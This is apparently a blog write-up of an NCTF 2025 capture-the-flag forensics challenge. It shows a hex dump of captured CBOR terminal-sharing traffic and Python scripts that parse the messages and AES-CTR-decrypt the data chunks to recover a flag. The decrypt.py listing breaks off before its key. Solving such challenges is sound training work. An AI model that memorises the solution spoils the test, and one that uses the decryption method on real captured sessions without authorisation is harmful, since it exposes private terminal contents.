65666f637573016863616e5772697465f5

88  b900016470696e671b0000019594c15acd

89  a164706f6e671b0000019594c15acd

90  a16c7368656c6c4c6174656e637901

91  b900016464617461830141281bd176e314fce30457

92  a1666368756e6b73830119017f8141ba

93  a1666368756e6b7383011901808254fee3cb29e1c36652655dc6d351ef6a0867321ba258ae52aa

8846ef65de51f6508888441d22ff0a911df03403fd203c1a34ba8a8bb4d4d033dfb926da02f9b5

b321611e4f9f829c95893c75b21e4d183e281d9a7a2019f1cf50f8e26549be9ce3e75810102654

38b47264b1c83f55551a4ccd98d330b34694ce347f03e249615abdfc2fe9c5c4e1097d094f5364

a048f399a72feeda58c6f450a4a9327867230809d6d987294fa16dc00d1fc0fe36ce08c2bc2e39

931777a7635be6694772a1082ff41694

94  b900016464617461830141471bd176e314fce30458

95  a1666368756e6b7383011902428158307ce25e33fcc1e2f90642e6834ef6aedabb4461638f664c

c73cba934610a1cd5c0e79a8c592cf146c523361308fe28b9e

96  a1666368756e6b73830119027281581bb5f32c4f885a6310590943aa237293a20b17bf78ceb503

ff92c5ca

97  a1666368756e6b73830119028d81581b76d7be6383ed71258c165b2d3691afe5e05aa4c9dfad30

2b472714

98  b900016464617461830141b01bd176e314fce30459

99  a1666368756e6b7383011902a8815819a6e831acb785fe749ca2bdbc3dbd1603b2442bad1b6326

f0a1

100  a1666368756e6b7383011902c181581a5baf03bd01bed01c41a67821e7f8ad51f7aa3306b2a733

16cc47

101   b900016470696e671b0000019594c162a1

102  a164706f6e671b0000019594c162a1

103  b9000164646174618301414f1bd176e314fce3045a

104  a1666368756e6b7383011902db8158470c3640c4187a0607b03ae5a379eab35d939eb35ee01140

e58d2e7338ccf0979ccc168553f05e627399eb886c79f2b3d29571327eaf1108660142e19de5d4

5a51f77fdf175bb8f0

105  a1666368756e6b738301190322814b93308599b7cef589bf0cad

106  a1666368756e6b73830119032d81506cb9a4d23a0250864fdcc659ee8e01ff

107  a16c7368656c6c4c6174656e637901

108  b900016464617461830141161bd176e314fce3045b

109  a1666368756e6b73830119033d81557460f415bb95bb9f1a18f3f00f2dbc720a9e111153

110  b9000164646174618301410a1bd176e314fce3045c

111  a1666368756e6b7383011903528155dcecadc895aca4d253df358867d660ad6bb8d34d75

112  b900016464617461830141261bd176e314fce3045d

113  a1666368756e6b73830119036781559849467f9e2bd820f823cfe422319bd006dc8ae539

114   b900016470696e671b0000019594c16a77

115  a164706f6e671b0000019594c16a77

116  b900016464617461830141901bd176e314fce3045e

117  a1666368756e6b73830119037c824793ee2fcd84b0a5483f94b75b07c7ce01

118  a1666368756e6b73830119038b814513e69726cb

119  a1666368756e6b73830119039081531ae05c668b9aea3b1c2f9b05f8623f88a1282c

120  a1666368756e6b7383011903a381586829a82b7b011a7539e878bbfc1394ad90d00a46a0652ff8

3f8b838ae70ec7947ac34ce60e17277b39d3e64c971c12fcf05dbd2088bd56759c1cf92f9d1ef3

3b8549a0dab3eaee2afd714da4a3cafc0ce9e454615929531a7637ad5bcbde154ac0b605c61277

ef7055

121  a1666368756e6b73830119040b815843807f0fd689b10df4a3406b110b1cf3b541ccdb54e18c9b

e8f7bf29753751631400918312b0fac2a7fe3e17a338d774d10d0dce2a4f7293dd06aa7383db5c

08221a226e

122  a1666368756e6b73830119044e8158428ace01a50c547cdb54a16d9503d35e1da9b8da121d2ace

6f2694a5410c0a22ecb47a1b4b24ee18025f1788971d8e0539fd03d14737990d4f4359fa81b354

fe772aad

123  a1666368756e6b738301190490835894bc987d15e37709195e9a5d4c7aacffdc99e87167cd048f

07fe501873894033fade93fd3fe690e35589ad191cf61930ae3469c99e9eaddde3c7b3c77aa70d

f05abc390186eba45fe72b0188188c719e34c15661af385f5ee3d651939898a1e745dc4484c4fd

c637217dbc7ed8dd49b0ad8901f00fd57cf182236f58a58b1ee8d3cd38bdb84a43da2056e688ed

417712a7a1df0d0443957dfe479a5d5f285653e0

124  a1666368756e6b73830119052e8148965b31c1cdae032a

125  a16c7368656c6c4c6174656e637901

126   b900016470696e671b0000019594c17248

127  a164706f6e671b0000019594c17248

128  a16c7368656c6c4c6174656e637900

129  b900016464617461830141031bd176e314fce3045f

130  a1666368756e6b738301190536814120

131  a1666368756e6b738301190537814c8b81596cec473bd604c3186a

132  a1666368756e6b73830119054381581a9fb8f80384a301188fd784ee0bc0963636341e1219ffbf

c12c01

133  b900016464617461830141bd1bd176e314fce30460

134  a1666368756e6b73830119055d8152ed0eaf29fd89247abb9c32c6bce65677b0e5

135  b9000164646174618301411d1bd176e314fce30461

136  a1666368756e6b73830119056f814787ba58455b4a96

137  a1666368756e6b738301190576814739d7bd9030c514

138  a1666368756e6b73830119057d8148e26cc91086d98ca2

139  a1666368756e6b73830119058581433ca0b8

140  a1666368756e6b738301190588824a70998fc3e7c63babe2ee4779290ee1a9e9de

141  a1666368756e6b738301190599814aca7ab4b50b42bab90e2c

142  a1666368756e6b7383011905a38158688554f733aa90a10e60332e13b84bd2782b3ebe077a49dc

6f81f6dd17a4721f0a23cdd3f2028ecc86a617b7f2e1e29a66beaa73da730d6532b622e0f0d851

15bbb4010ba53c2ae9115d278f5053959cccbae54486d1fadba8d08074edd6cd541e94d317adf7

ba2473

143  a1666368756e6b73830119060b8158436a21a727456f9be3990c9f2e7cab2dbc10185ec4e5e44a

45c6255d6d03ffb09df5aca80045812cfff52e6955e53a91c11438c4f767591b617ecedcc59c2f

8c25adaf19

144  a1666368756e6b73830119064e8158424e127a7b11b13e57972b2278a0b12c910ed5ffba746afa

ccfa69bd949f0a09aab9725e0133b5e3b74668aea7943f2d62ba307c0e4fc66da1efdc32d65bfe

05efc8f4

145  a1666368756e6b738301190690845894ee99cc36fb0196d44c91bee36aa9ebd479686ca622641e

4ff2b0daceeeb7b1dc3f123cccf9b7b4e231c68ec6f9fbbdc39379dacb4aa6ffce46af3b2a280c

fc3c121ede2e148e9d03b0db960be4fb851029f09b6e5658516560a775888133a234a4f4805b9c

b772f1ae2ea3b5f3a768e37131916f6976a52a2bb93f648dc9fa82a1a838a04f83ca3f40fdaa1b

36f567b457fb049a430c84ae47390a9a5da58d1448b0a33ee432b70cd7

146  b900016464617461830141ec1bd176e314fce30462

147  a1666368756e6b738301190736814101

148  a1666368756e6b738301190737824c12777218b01718661a5aa1f8582033cade98707d67a10d63

f72b22608dd9079479f56600b266abb361925c0ef2ee

149   b900016470696e671b0000019594c17a19

150  a164706f6e671b0000019594c17a19

151  b900016464617461830141f01bd176e314fce30463

152  a1666368756e6b7383011907638152ba4f016a0e841c218d07116d80826efe9bef

153  a1666368756e6b73830119077581581f6537d5230b52cee385f41bf997e8961219cd8ffc5e4b67

521131f7d1899997

154  b900016464617461830141b21bd176e314fce30464

155  a1666368756e6b73830119079481582970435fe32458e21453d8ff1c5a766a1e1071ba0c694937

885b1d0415b84efefb5dee77f873dbb752a0

156  a1666368756e6b7383011907bd81582635dc24900198a72a738201f1097966e401f7740e918004

414e056c258490ccd440acae79853b

157  b900016464617461830141091bd176e314fce30465

158  a1666368756e6b7383011907e3815204ebe50754c67a21bfcb487b69549a26e0bb

159  a1666368756e6b7383011907f5815835c61e5fc6beb419086a290204780d7c22c3e36b4def890a

6836839a62bda6b1c125fc36c95a4ab6e249b75fe46674607b3615e993e0

160  b900016464617461830141951bd176e314fce30466

161  a1666368756e6b73830119082a81581e8f437efb1b69f14028c500078cdb5cb4c396c2278d968f

b6817f4c79a92c

162  a16c7368656c6c4c6174656e637901

163  b9000164646174618301413c1bd176e314fce30467

164  a1666368756e6b73830119084881581edf804f043c24f9d005d04ed6e668611c05313616aa90b0

ff861cba7f6a35

165  a1666368756e6b73830119086681584747a9e22c8d8095ab2f91023ec1657e39333a73725a967a

6624a3f79a355d1a3408551e8636cd6c3f54ad073e0a3c34b8820718b8f24b558722d493a187ed

8bdef3493ab0c3d4aa

166  b900016464617461830141e51bd176e314fce30468

167  a1666368756e6b7383011908ad8247084b59020b51644831cfe1b012ab225f

168  a1666368756e6b7383011908bc814306a821

169  a1666368756e6b7383011908bf8156b3aae6e206e3027ab9caec143e3c622ef36f98b957d1

170  a1666368756e6b7383011908d58149e8b6ae48e4ef131ff2

171  a1666368756e6b7383011908de815868ebbff3231e61e8bc3b350905430d5aae0cddeb0b9496be

ab5c8ed3fefecd014e3118462ac12c59c17fcccc81fbe5c723ecbac5ac01b945f94751e31ff9f1

0b3ae84e4022ab1cdc181f17e7c1b65970bcd498bad1307073e1007cc066bbfa5a9e593d9d631d

30006b

172  a1666368756e6b73830119094682583001906e7150d67dec6ed1f8830813c2295b93bb70cd224d

e35ad4a2da7ff9011b65d717330497f727f528c632d2f79c1b53f6d8cb3d7f5e8bf97f2206db89

eacbdb013d5a

173  a1666368756e6b7383011909898158421a5ff84071a72f3334d358d3d1681e34f121ca974cb455

4a76647127422212d497fffb77d69e6beecf920ae1a3d723d30827167f73fd50e5f85c3b5d78f6

a67f8db0

174  a1666368756e6b7383011909cb835897294655b75ae713564e02fadf72bba54a51c83b5eb07651

af566b300942c73f2eed3be8f145fc37f077afbad7ec8ed9d781a88f212a4f13bf332a45c7f84a

56f9af736258ab9c66a0539d3b0320d4e3adb5ba6bdd4e8cb0ad17fe0b26654fcff96ede74c387

41810496a80ca63bb85e2617c83bb030589d7847cdd9f2ad8b41b5833f755688c088143ea7d3e8

19d95837fb6799d0fadb534751a512feea3a2148761039f8680c527f

175  b9000164646174618301411d1bd176e314fce30469

176  a1666368756e6b738301190a71814131

177  a1666368756e6b738301190a728254a9acc9ad6a6054b047cfa825a7b9fbd13b843c66582ac008

87db14d7e2cbdc1bc4bd4f9f0ed4e4492e1da776b328a4687d8ccfc9ba145323d9df49bd55aae7

6e

178  b900016464617461830141b71bd176e314fce3046a

179  a1666368756e6b738301190ab081584156f8ffc8fd7329366deba56ef3e3c8fff1cb4234ea3d66

5bf1a2c2bf112c885ffccc3a96887988a88cc44b57c38cfbfc18235852d2ec0ca9a49088e42622

8d17bf

180  a1666368756e6b738301190af18158998e99e3cf30e84aeab305acc41dcdf40c6a5f749f193845

c77528313f91628990ad1f27335112f5c899eedd215e129049f319f19a8f83dc7050c7f8ac5133

f0702e13eb35186179eea9b852cd0b367444defd22a511692aa38552b44e655ad9de54f9109191

d2f2e6ef83bf884b325e37e939612a9e21b8c200c6e1e5ac90e7513811644a581e8925614a2561

66c3d54a62a858b8bd1721d832

181  b900016464617461830141a01bd176e314fce3046b

182  a1666368756e6b738301190b8a81583b66132f4d2769a7e51d1b559f3a778a186fbb64728d0748

c4ac0234cec4ac8f322d67b7258b3f33b74d7f1a5881bc8d2161fdf2bcdaa12dfadfa153

183  a1666368756e6b738301190bc58158265965d9d2d0e26b30605b6639b416fe5279173c4efbafb1

bcb38e1cb36f6b7e8cded0b513a9d8

184  a1666368756e6b738301190beb8157d82fd58573f760059da9b16a385b31c51997d39b633ba2

185  b900016464617461830141b01bd176e314fce3046c

186  a1666368756e6b738301190c02815290746fa9b02c514e9c8b5fdab777adb3dc2b

187  a1666368756e6b738301190c148153348b47ca0239ab80cf765628ab42978420848f

188  b900016464617461830141b81bd176e314fce3046d

189  a1666368756e6b738301190c278146ba449ec2e0f2

190  a1666368756e6b738301190c2d814b07177e3f9eacb578153176

191   b900016470696e671b0000019594c181ea

192  a164706f6e671b0000019594c181ea

193  b900016464617461830141191bd176e314fce3046e

194  a1666368756e6b738301190c3881555e36a91072e03c168bb7e80c0e01ced9a07b955b44

195  b9000164646174618301417e1bd176e314fce3046f

196  a16c7368656c6c4c6174656e637901

197  a1666368756e6b738301190c4d8158506fb8cfa0bd5ad1ae2bb4e36f06c4d8eee771d3c5d8c38c

9bd3f299d6739fd8ce032923b811a449038acd3c1b70b12afd39c830832c884cd7d07c0d37e31a

7d6f9339b2596918e7d4a5d8bfa8d896a847

198  b900016464617461830141a51bd176e314fce30470

199  a1666368756e6b738301190c9d8147158e23384009a0

200  a1666368756e6b738301190ca48247a63c4fb5de6cc84895a6e118ce32ec0e

201  a1666368756e6b738301190cb38145cfed11cbcd

202  a1666368756e6b738301190cb881581943c57149d541c2cf05d9e19c87bc37f2cabc66f85174a1

7c44

203  a1666368756e6b738301190cd18158401d58dd5c0883058aaf50acc57d595be9f2c2d821fabdf7

c0c6a66b3658806075e55d3e2669d38632a0284a6afec2a0ecb5d1ef4d863c778985763a758752

5153

204  a1666368756e6b738301190d118158688e2a77aed59fc82b9539c5ab4b511b33b5ad0ca94df55b

aeb62aa68f9601e231e7facd961f01289b93c71f9acd752c66f130593dfb05fac7195815766eeb

63f67b9150605051d93184073d9226a788d56c8eeb2d66190942a7bf145195056de465e26a2f04

78abe1

205  a1666368756e6b738301190d798158434e7f3e133123d9ccaaeeb1010aa0be5c32fee7323ac2d4

8b3e43e7bd940e11e760f85360cf50b8bf7bccc6f8d8aaf9facc1a9abe897bf0a0b66c3e603688

1f2ef31a4e

206  a1666368756e6b738301190dbc81584292535d9839177bce4ad3a308a3d7bbb8299e48d193153e

0b09bd6b22f6bdb4b50062b8296c375658ff094613e027f474f248254ac43268b32c5b3bce183a

60db3a5a

207  a1666368756e6b738301190dfe825894f8a0ee204ab18ded98495dec2a49d9f1556f1bda54aef9

ced321db6a3b306cd74a737399c2db4b40960fef4477f84105032f27e58cdea9e927da76605741

4a5776708f8a93447c1e770240a40759a9bba984a97e3da1087b44f421c61c63265961d75e7b44

ce24a06bc72abb28128b5afc66f5970925eaa180071d6eb0ad38ba745c683cddad8ba64bd3ca03

6adc46bd64ff1fcc43019109

208  a1666368756e6b738301190e95814fa5adfa9ab603bdd32c0c81e44e6132

209  b900016470696e671b0000019594c189c0

210  a164706f6e671b0000019594c189c0

211  b900016464617461830141881bd176e314fce30471

212  a1666368756e6b738301190ea48141ba

213  a1666368756e6b738301190ea58254e2a082bfbce0721d45a50bfff93ecfe2e25a786a5824b19f

48f19b0d93604f8f194cb4915de8b532f8eedaca32a370d4984dae8f6af6b39fdcb1

214  b900016464617461830141781bd176e314fce30472

215  a1666368756e6b738301190edd81581e3ff6bc7a66a5ee52bd9678fe560c6e81920c0998ca9943

43fcce798ea30f

216  a1666368756e6b738301190efb81581b2565d4a6ac997f1b87be97655d74394a5b239cf31de086

be9dccaf

217  a16c7368656c6c4c6174656e637901

218  b900016464617461830141b81bd176e314fce30473

219  a1666368756e6b738301190f168158193c96fe9660d9494396c4c3e9e6b3c76570a2303b887921

8e3a

220  a1666368756e6b738301190f2f81582a66b2fffc380cadc2130699e99919e8e1993f221fc1df21

613f2f49e95fe617d98f8ccb6b5b5be9ceb915

221  b900016464617461830141241bd176e314fce30474

222  a1666368756e6b738301190f5981581ea9019dd04ee90448c5d965d664401b478ee703c0ac9718

8cbf9ee5652a4c

223  a1666368756e6b738301190f778158318bf8f209b2f994fd597104135e57846b535e28cbd2087f

8a8efc946b615650f922a55811df3a300dcea83f847875097b41

224  b900016464617461830141401bd176e314fce30475

225  a1666368756e6b738301190fa882474da477d201d940489959b8ea5ba79c72

226  a1666368756e6b738301190fb781437c7e53

227  a1666368756e6b738301190fba8152eee295e8b3f767273cd0f9199efe8cfb2b53

228  a1667368656c6c7380

229  b9000169736574437572736f72821901311874

230  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901311874

65666f637573016863616e5772697465f5

231  b9000169736574437572736f728219019210

232  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901921065

666f637573016863616e5772697465f5

233  b9000169736574437572736f72821902043893

234  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821902043893

65666f637573016863616e5772697465f5

235  b9000169736574437572736f728219021438a1

236  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219021438a1

65666f637573016863616e5772697465f5

237  b9000169736574437572736f72821901ca388c

238  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901ca388c

65666f637573016863616e5772697465f5

239  b9000169736574437572736f72821901ad388d

240  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901ad388d

65666f637573016863616e5772697465f5

241  b900016470696e671b0000019594c19191

242  a164706f6e671b0000019594c19191

243  b9000169736574437572736f72821901a43890

244  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901a43890

65666f637573016863616e5772697465f5

245  b9000169736574437572736f72821901963893

246  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901963893

65666f637573016863616e5772697465f5

247  b9000169736574437572736f72821901963893

248  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901963893

65666f637573016863616e5772697465f5

249  b9000169736574437572736f728219021d181f

250  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219021d181f

65666f637573016863616e5772697465f5

251  a16c7368656c6c4c6174656e637901

252  b9000169736574437572736f7282190315190153

253  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903151901

5365666f637573016863616e5772697465f5

254  b9000169736574437572736f72821903961901ef

255  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903961901

ef65666f637573016863616e5772697465f5

256  b9000169736574437572736f72821903dd190255

257  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903dd1902

5565666f637573016863616e5772697465f5

258  b9000169736574437572736f72821903ec190297

259  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903ec1902

9765666f637573016863616e5772697465f5

260  b9000169736574437572736f72821903dd190298

261  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903dd1902

9865666f637573016863616e5772697465f5

262  b9000169736574437572736f72821903d7190298

263  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903d71902

9865666f637573016863616e5772697465f5

264  b9000169736574437572736f72821903d6190292

265  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903d61902

9265666f637573016863616e5772697465f5

266  b9000169736574437572736f72821903d419028c

267  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903d41902

8c65666f637573016863616e5772697465f5

268  b9000169736574437572736f72821903d419028a

269  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903d41902

8a65666f637573016863616e5772697465f5

270  b9000169736574437572736f72821903d419028a

271  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903d41902

8a65666f637573016863616e5772697465f5

272  b9000169736574437572736f72821903ce19027e

273  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903ce1902

7e65666f637573016863616e5772697465f5

274  b900016470696e671b0000019594c19964

275  a164706f6e671b0000019594c19964

276  a16c7368656c6c4c6174656e637901

277  b900016470696e671b0000019594c1a134

278  a164706f6e671b0000019594c1a134

279  a16c7368656c6c4c6174656e637901

280  b900016470696e671b0000019594c1a907

281  a164706f6e671b0000019594c1a907

282  a16c7368656c6c4c6174656e637900

283  b900016470696e671b0000019594c1b0dc

284  a164706f6e671b0000019594c1b0dc

285  a16c7368656c6c4c6174656e637901

286  b9000164636861747577656c636f6d6520746f206e637466323032352d31

287  a164686561728301677a7973676d7a627577656c636f6d6520746f206e637466323032352d31

288  b900016470696e671b0000019594c1b8b1

289  a164706f6e671b0000019594c1b8b1

290  a16c7368656c6c4c6174656e637900

291  b90001646368617468686176652066756e

292  a164686561728301677a7973676d7a6268686176652066756e

293  b900016470696e671b0000019594c1c086

294  a164706f6e671b0000019594c1c086

295  a16c7368656c6c4c6174656e637901

296  b900016470696e671b0000019594c1c856

297  a164706f6e671b0000019594c1c856

298  a16c7368656c6c4c6174656e637901

299  b900016470696e671b0000019594c1d029

300  a164706f6e671b0000019594c1d029

301  a16c7368656c6c4c6174656e637901

302  b9000164636861746f4e4354467b66616b655f666c61677d

303  a164686561728301677a7973676d7a626f4e4354467b66616b655f666c61677d

304  b900016470696e671b0000019594c1d7fb

305  a164706f6e671b0000019594c1d7fb

306  a16c7368656c6c4c6174656e637901

307  b900016470696e671b0000019594c1dfcf

308  a164706f6e671b0000019594c1dfcf

309  a16c7368656c6c4c6174656e637900

310   b900016463686174623a29

311  a164686561728301677a7973676d7a62623a29

312  b900016470696e671b0000019594c1e7a0

313  a164706f6e671b0000019594c1e7a0

314  b9000169736574437572736f72821903cf19027e

315  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903cf1902

7e65666f637573016863616e5772697465f5

316  a16c7368656c6c4c6174656e637900

317  b9000169736574437572736f72821903f2190279

318  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903f21902

7965666f637573016863616e5772697465f5

319  b9000169736574437572736f728219039c190163

320  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219039c1901

6365666f637573016863616e5772697465f5

321  b9000169736574437572736f728219031f18b7

322  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219031f18b7

65666f637573016863616e5772697465f5

323  b9000169736574437572736f7282190291184d

324  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282190291184d

65666f637573016863616e5772697465f5

325  b9000169736574437572736f728219023600

326  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821902360065

666f637573016863616e5772697465f5

327  b9000169736574437572736f72821901e63847

328  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901e63847

65666f637573016863616e5772697465f5

329  b9000169736574437572736f72821901c33872

330  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901c33872

65666f637573016863616e5772697465f5

331  b9000169736574437572736f72821901b63880

332  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901b63880

65666f637573016863616e5772697465f5

333  b9000169736574437572736f728219019b388c

334  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219019b388c

65666f637573016863616e5772697465f5

335  b9000169736574437572736f7282190196388f

336  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282190196388f

65666f637573016863616e5772697465f5

337  b9000169736574437572736f7282190195388f

338  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282190195388f

65666f637573016863616e5772697465f5

339  b9000169736574437572736f7282190196388f

340  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282190196388f

65666f637573016863616e5772697465f5

341  b9000169736574437572736f72821901aa3878

342  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901aa3878

65666f637573016863616e5772697465f5

343  b9000169736574437572736f72821901ce384a

344  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901ce384a

65666f637573016863616e5772697465f5

345  b9000169736574437572736f72821901cf3847

346  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901cf3847

65666f637573016863616e5772697465f5

347  b9000169736574437572736f72821901c537

348  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901c53765

666f637573016863616e5772697465f5

349  b900016470696e671b0000019594c1ef71

350  a164706f6e671b0000019594c1ef71

351  b9000169736574437572736f72821901a21823

352  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901a21823

65666f637573016863616e5772697465f5

353  b9000169736574437572736f72821901a11823

354  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901a11823

65666f637573016863616e5772697465f5

355  b9000169736574437572736f7282190120383f

356  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282190120383f

65666f637573016863616e5772697465f5

357  b9000169736574437572736f7282186e38b9

358  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282186e38b965

666f637573016863616e5772697465f5

359  b9000169736574437572736f72f6

360  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72f665666f6375

73016863616e5772697465f5

361  a16c7368656c6c4c6174656e637903

362  a16c7368656c6c4c6174656e637900

363

364   """.strip().split("\n") 365  # 你的数据

366

367   for line in all:

368      data = bytes.fromhex(line.strip())

369

370      decoded = cbor2.loads(data)

371       # print(decoded)

372      try:

373           offset = decoded['chunks'][1]

374           data = decoded['chunks'][2][0]

375           cmd = "python3.11 decrypt.py " + str(offset) + " " + data.hex()

376          decrypted = os.popen(cmd).read()

377           # print(offset, data.hex())

378           # print(data.hex())

379           real_data = bytes.fromhex(decrypted.split("0x")[1])

380          sys.stdout.buffer.write(real_data)

381          sys.stdout.flush()

382      except:

383           continue

384           # print(decoded['chunks'][2][0].hex())

decrypt.py:

1   import sys

2   from Crypto.Cipher import AES

3   from Crypto.Util import Counter

4

5

6  class Encrypt:

7      def __init__(self, aes_key):

8           if len(aes_key) != 16:

9               raise ValueError("AES key must be 16 bytes long")

10           self.aes_key = aes_key

11

12      def segment(self, stream_num, offset, data):

13           if stream_num == 0:

14               raise ValueError("stream number must be nonzero")

15

16          # ⽣成8字节⼤端表⽰的nonce

17           nonce = stream_num.to_bytes(8, 'big')

18

19          # 创建CTR模式的计数器,前8字节为nonce,后8字节从0开始计数(⼤端)

20          counter = Counter.new(

21               64, prefix=nonce, initial_value=0, little_endian=False)

22           cipher = AES.new(self.aes_key, AES.MODE_CTR, counter=counter)

23

24          # 跳过指定offset⻓度的密钥流

25           cipher.encrypt(bytes(offset)) 26

27          # 加密/解密数据

28           return cipher.encrypt(data)

29

30

31  def main():

32       if len(sys.argv) != 3:

33           print(f"Usage: {sys.argv[0]} <offset> <data_hex>")

34          sys.exit(1)

35

36      try:

37           offset = int(sys.argv[1])

38           data_hex = sys.argv[2].strip()

39           data = bytes.fromhex(data_hex)

40      except ValueError as e:

41           print(f"Error: {e}")

42          sys.exit(1)

43

44      # 初始化加密器(使⽤硬编码密钥)

然后就可以看见终端⾥的flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值